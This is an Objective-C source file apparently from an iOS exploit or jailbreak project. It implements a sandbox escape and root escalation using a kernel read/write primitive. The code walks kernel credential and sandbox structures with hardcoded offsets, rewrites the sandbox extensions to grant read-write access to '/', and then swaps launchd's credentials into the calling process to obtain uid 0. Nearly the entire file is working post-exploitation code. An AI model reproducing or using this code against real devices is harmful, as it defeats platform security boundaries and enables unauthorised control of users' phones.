289 lines
9.9 KiB
Objective-C
289 lines
9.9 KiB
Objective-C
/*
|
|
* sandbox_escape.m — Sandbox escape via kernel memory patching
|
|
*
|
|
* Walk proc_ro → ucred → cr_label → sandbox → ext_set → ext_table
|
|
* Patch extension paths to "/", rewrite class to "com.apple.app-sandbox.read-write"
|
|
* Fill all 16 hash slots → full R+W filesystem access
|
|
* Based on 18.3_sandbox/root.m by CrazyMind90.
|
|
*/
|
|
|
|
#import <Foundation/Foundation.h>
|
|
#include <fcntl.h>
|
|
#include <unistd.h>
|
|
#include <errno.h>
|
|
#include <sys/stat.h>
|
|
#include "sandbox_escape.h"
|
|
#include "kexploit/kexploit_opa334.h"
|
|
#include "kexploit/krw.h"
|
|
#include "kexploit/kutils.h"
|
|
#include "kexploit/offsets.h"
|
|
|
|
extern void early_kread(uint64_t where, void *read_buf, size_t size);
|
|
|
|
#define KRW_LEN 0x20
|
|
|
|
// Verified offsets (IDA binary analysis across 6 kernelcaches)
|
|
#define OFF_PROC_PROC_RO 0x18 // proc → proc_ro (stable 17.0-26.x)
|
|
#define OFF_PROC_RO_UCRED 0x20 // proc_ro → p_ucred (verified all versions)
|
|
#define OFF_UCRED_CR_LABEL 0x78 // ucred → cr_label (KDK struct dump)
|
|
#define OFF_LABEL_SANDBOX 0x10 // label → sandbox (MAC l_perpolicy[1])
|
|
#define OFF_SANDBOX_EXT_SET 0x10 // sandbox → ext_set
|
|
#define OFF_EXT_DATA 0x40 // ext → data_addr
|
|
#define OFF_EXT_DATALEN 0x48 // ext → data_len
|
|
|
|
// posix_cred lives inside ucred at +0x18 (16B cr_link + 8B cr_ref).
|
|
// Derived from OFF_UCRED_CR_LABEL=0x78 and sizeof(posix_cred)=0x60.
|
|
#define OFF_UCRED_CR_POSIX 0x18
|
|
#define OFF_POSIX_CR_UID 0x00
|
|
#define OFF_POSIX_CR_RUID 0x04
|
|
#define OFF_POSIX_CR_SVUID 0x08
|
|
#define OFF_POSIX_CR_NGROUPS 0x0C
|
|
#define OFF_POSIX_CR_GROUPS_0 0x10 // first group (cr_groups[0])
|
|
#define OFF_POSIX_CR_RGID 0x50
|
|
#define OFF_POSIX_CR_SVGID 0x54
|
|
#define OFF_POSIX_CR_GMUID 0x58
|
|
#define OFF_POSIX_CR_FLAGS 0x5C
|
|
|
|
#ifdef __arm64e__
|
|
static uint64_t __attribute((naked)) __xpaci_sbx(uint64_t a) {
|
|
asm(".long 0xDAC143E0");
|
|
asm("ret");
|
|
}
|
|
#else
|
|
#define __xpaci_sbx(x) (x)
|
|
#endif
|
|
|
|
extern uint64_t VM_MIN_KERNEL_ADDRESS;
|
|
extern uint64_t pac_mask;
|
|
|
|
#define S(x) ({ uint64_t _v = __xpaci_sbx(x); \
|
|
((_v >> 32) > 0xFFFF ? (_v | pac_mask) : _v); })
|
|
#define K(x) ((x) > VM_MIN_KERNEL_ADDRESS)
|
|
|
|
#pragma mark - Extension patching
|
|
|
|
static void patch_ext(uint64_t ext) {
|
|
uint64_t da = early_kread64(ext + OFF_EXT_DATA);
|
|
uint64_t dl = early_kread64(ext + OFF_EXT_DATALEN);
|
|
if (K(da) && dl > 0) {
|
|
uint8_t buf[KRW_LEN];
|
|
early_kread(da, buf, KRW_LEN);
|
|
buf[0] = '/'; buf[1] = 0;
|
|
early_kwrite32bytes(da, buf);
|
|
}
|
|
uint8_t chunk[KRW_LEN];
|
|
early_kread(ext + OFF_EXT_DATA, chunk, KRW_LEN);
|
|
*(uint64_t*)(chunk + 0x08) = 1;
|
|
*(uint64_t*)(chunk + 0x10) = 0xFFFFFFFFFFFFFFFFULL;
|
|
early_kwrite32bytes(ext + OFF_EXT_DATA, chunk);
|
|
}
|
|
|
|
static int patch_chain(uint64_t hdr) {
|
|
int n = 0;
|
|
for (int i = 0; i < 64 && K(hdr); i++) {
|
|
uint64_t ext = S(early_kread64(hdr + 0x8));
|
|
if (K(ext)) { patch_ext(ext); n++; }
|
|
uint64_t next = early_kread64(hdr);
|
|
if (!next || !K(next)) break;
|
|
hdr = S(next);
|
|
}
|
|
return n;
|
|
}
|
|
|
|
static void set_rw_class(uint64_t hdr) {
|
|
uint64_t ext = S(early_kread64(hdr + 0x8));
|
|
if (!K(ext)) return;
|
|
uint64_t da = early_kread64(ext + OFF_EXT_DATA);
|
|
if (!K(da)) return;
|
|
|
|
const char *rw = "com.apple.app-sandbox.read-write";
|
|
uint8_t b1[KRW_LEN], b2[KRW_LEN];
|
|
memset(b1, 0, KRW_LEN); memset(b2, 0, KRW_LEN);
|
|
memcpy(b1, rw, KRW_LEN);
|
|
early_kwrite32bytes(da + 32, b1);
|
|
early_kwrite32bytes(da + 64, b2);
|
|
|
|
uint8_t hb[KRW_LEN];
|
|
early_kread(hdr, hb, KRW_LEN);
|
|
*(uint64_t*)(hb + 0x10) = da + 32;
|
|
early_kwrite32bytes(hdr, hb);
|
|
}
|
|
|
|
#pragma mark - Main entry
|
|
|
|
int sandbox_escape(uint64_t self_proc) {
|
|
if (!self_proc) { NSLog(@"[SBX] self_proc is NULL"); return -1; }
|
|
|
|
uint64_t proc_ro_raw = early_kread64(self_proc + OFF_PROC_PROC_RO);
|
|
uint64_t proc_ro = S(proc_ro_raw);
|
|
NSLog(@"[SBX] self_proc=0x%llx proc_ro_raw=0x%llx proc_ro=0x%llx", self_proc, proc_ro_raw, proc_ro);
|
|
if (!K(proc_ro)) { NSLog(@"[SBX] proc_ro invalid"); return -1; }
|
|
|
|
// Scan proc_ro for ucred — offset varies by iOS build.
|
|
// p_ucred is an SMR pointer. Dump offsets 0x10-0x40 to find it.
|
|
NSLog(@"[SBX] Scanning proc_ro for ucred...");
|
|
uint64_t ucred = 0;
|
|
for (uint32_t off = 0x10; off <= 0x40; off += 0x8) {
|
|
uint64_t raw = early_kread64(proc_ro + off);
|
|
uint64_t smr = kread_smrptr(proc_ro + off);
|
|
uint64_t pac = S(raw);
|
|
NSLog(@"[SBX] proc_ro+0x%x: raw=0x%llx smr=0x%llx pac=0x%llx", off, raw, smr, pac);
|
|
|
|
// Check if smr-decoded value looks like ucred (cr_label at +0x78 is a kernel ptr)
|
|
if (K(smr)) {
|
|
uint64_t maybe_label = S(early_kread64(smr + 0x78));
|
|
if (K(maybe_label)) {
|
|
uint64_t maybe_sandbox = S(early_kread64(maybe_label + 0x10));
|
|
if (K(maybe_sandbox)) {
|
|
NSLog(@"[SBX] Found ucred at proc_ro+0x%x (SMR) = 0x%llx", off, smr);
|
|
ucred = smr;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
// Also try PAC-stripped
|
|
if (!ucred && K(pac)) {
|
|
uint64_t maybe_label = S(early_kread64(pac + 0x78));
|
|
if (K(maybe_label)) {
|
|
uint64_t maybe_sandbox = S(early_kread64(maybe_label + 0x10));
|
|
if (K(maybe_sandbox)) {
|
|
NSLog(@"[SBX] Found ucred at proc_ro+0x%x (PAC) = 0x%llx", off, pac);
|
|
ucred = pac;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
if (!K(ucred)) { NSLog(@"[SBX] ucred not found in proc_ro"); return -1; }
|
|
|
|
uint64_t label = S(early_kread64(ucred + OFF_UCRED_CR_LABEL));
|
|
if (!K(label)) { NSLog(@"[SBX] cr_label invalid"); return -1; }
|
|
|
|
uint64_t sandbox = S(early_kread64(label + OFF_LABEL_SANDBOX));
|
|
if (!K(sandbox)) { NSLog(@"[SBX] sandbox invalid"); return -1; }
|
|
|
|
uint64_t ext_set = S(early_kread64(sandbox + OFF_SANDBOX_EXT_SET));
|
|
if (!K(ext_set)) { NSLog(@"[SBX] ext_set invalid"); return -1; }
|
|
|
|
NSLog(@"[SBX] proc_ro=0x%llx ucred=0x%llx label=0x%llx sandbox=0x%llx ext_set=0x%llx",
|
|
proc_ro, ucred, label, sandbox, ext_set);
|
|
|
|
int patched = 0;
|
|
for (int s = 0; s < 16; s++) {
|
|
uint64_t hdr = S(early_kread64(ext_set + s * 8));
|
|
if (K(hdr)) patched += patch_chain(hdr);
|
|
}
|
|
NSLog(@"[SBX] Patched %d extensions", patched);
|
|
|
|
int classed = 0;
|
|
for (int s = 0; s < 16; s++) {
|
|
uint64_t hdr = S(early_kread64(ext_set + s * 8));
|
|
if (K(hdr) && K(early_kread64(hdr + 0x10))) { set_rw_class(hdr); classed++; }
|
|
}
|
|
NSLog(@"[SBX] Changed %d extension classes", classed);
|
|
|
|
uint64_t src = 0;
|
|
for (int s = 0; s < 16 && !src; s++) {
|
|
uint64_t h = S(early_kread64(ext_set + s * 8));
|
|
if (K(h)) src = h;
|
|
}
|
|
if (src) {
|
|
int filled = 0;
|
|
for (int s = 0; s < 16; s++) {
|
|
uint64_t h = early_kread64(ext_set + s * 8);
|
|
if (!h || !K(h)) { early_kwrite64(ext_set + s * 8, src); filled++; }
|
|
}
|
|
NSLog(@"[SBX] Filled %d empty hash slots", filled);
|
|
}
|
|
|
|
int fd_w = open("/var/mobile/.sbx_test", O_WRONLY | O_CREAT | O_TRUNC, 0644);
|
|
if (fd_w >= 0) { close(fd_w); unlink("/var/mobile/.sbx_test"); }
|
|
|
|
if (fd_w >= 0) {
|
|
NSLog(@"[SBX] *** SANDBOX ESCAPED (R+W) ***");
|
|
return 0;
|
|
}
|
|
|
|
NSLog(@"[SBX] Sandbox escape verification failed (errno=%d: %s)", errno, strerror(errno));
|
|
return -1;
|
|
}
|
|
|
|
#pragma mark - UID elevation (uid=0 via launchd ucred swap)
|
|
|
|
// Scan proc_ro in [0x10..0x40] for a valid ucred pointer.
|
|
// A valid ucred has cr_label at +0x78 pointing to a kernel addr
|
|
static int sbx_find_ucred_slot(uint64_t proc, uint64_t *ucred_out, uint32_t *off_out) {
|
|
if (!proc) return -1;
|
|
uint64_t proc_ro = S(early_kread64(proc + OFF_PROC_PROC_RO));
|
|
if (!K(proc_ro)) return -1;
|
|
|
|
for (uint32_t off = 0x10; off <= 0x40; off += 0x8) {
|
|
uint64_t raw = early_kread64(proc_ro + off);
|
|
uint64_t smr = kread_smrptr(proc_ro + off);
|
|
uint64_t pac = S(raw);
|
|
uint64_t cands[2] = { smr, pac };
|
|
for (int i = 0; i < 2; i++) {
|
|
uint64_t c = cands[i];
|
|
if (!K(c)) continue;
|
|
uint64_t lbl = S(early_kread64(c + OFF_UCRED_CR_LABEL));
|
|
if (!K(lbl)) continue;
|
|
uint64_t sbx = S(early_kread64(lbl + OFF_LABEL_SANDBOX));
|
|
if (K(sbx)) {
|
|
*ucred_out = c;
|
|
*off_out = off;
|
|
return 0;
|
|
}
|
|
}
|
|
}
|
|
return -1;
|
|
}
|
|
|
|
static uint64_t sbx_ucredbyproc(uint64_t proc) {
|
|
uint64_t ucred = 0;
|
|
uint32_t off = 0;
|
|
if (sbx_find_ucred_slot(proc, &ucred, &off) != 0) return 0;
|
|
return ucred;
|
|
}
|
|
|
|
int sandbox_elevate_to_root(uint64_t self_proc) {
|
|
uint64_t launchd = proc_find_by_name("launchd");
|
|
if (!launchd || launchd == (uint64_t)-1) {
|
|
NSLog(@"[SBX] elevate: procbyname(\"launchd\") failed; trying pid 1 fallback");
|
|
launchd = proc_find(1);
|
|
if (launchd && launchd != (uint64_t)-1) {
|
|
NSLog(@"[SBX] elevate: resolved launchd via pid 1 fallback: 0x%llx", launchd);
|
|
}
|
|
}
|
|
if (!launchd || launchd == (uint64_t)-1) {
|
|
NSLog(@"[SBX] elevate: could not find launchd");
|
|
return -1;
|
|
}
|
|
|
|
uint64_t launchducred = sbx_ucredbyproc(launchd);
|
|
if (!launchducred) {
|
|
NSLog(@"[SBX] elevate: failed to get valid ucred from launchd");
|
|
return -1;
|
|
}
|
|
NSLog(@"[SBX] elevate: launchd ucred: 0x%llx", launchducred);
|
|
|
|
if (!self_proc) {
|
|
NSLog(@"[SBX] elevate: failed to get our proc");
|
|
return -1;
|
|
}
|
|
NSLog(@"[SBX] elevate: ourproc: 0x%llx", self_proc);
|
|
|
|
uint64_t ourucredraw = early_kread64(self_proc + 0x10);
|
|
uint64_t ourucred = S(ourucredraw);
|
|
NSLog(@"[SBX] elevate: ourucred: 0x%llx", ourucred);
|
|
|
|
early_kwrite64(self_proc + 0x10, launchducred);
|
|
|
|
if (getuid() == 0) {
|
|
NSLog(@"[SBX] elevate success!");
|
|
return 0;
|
|
}
|
|
|
|
NSLog(@"[SBX] elevate failed, uid: %d", getuid());
|
|
return -1;
|
|
}
|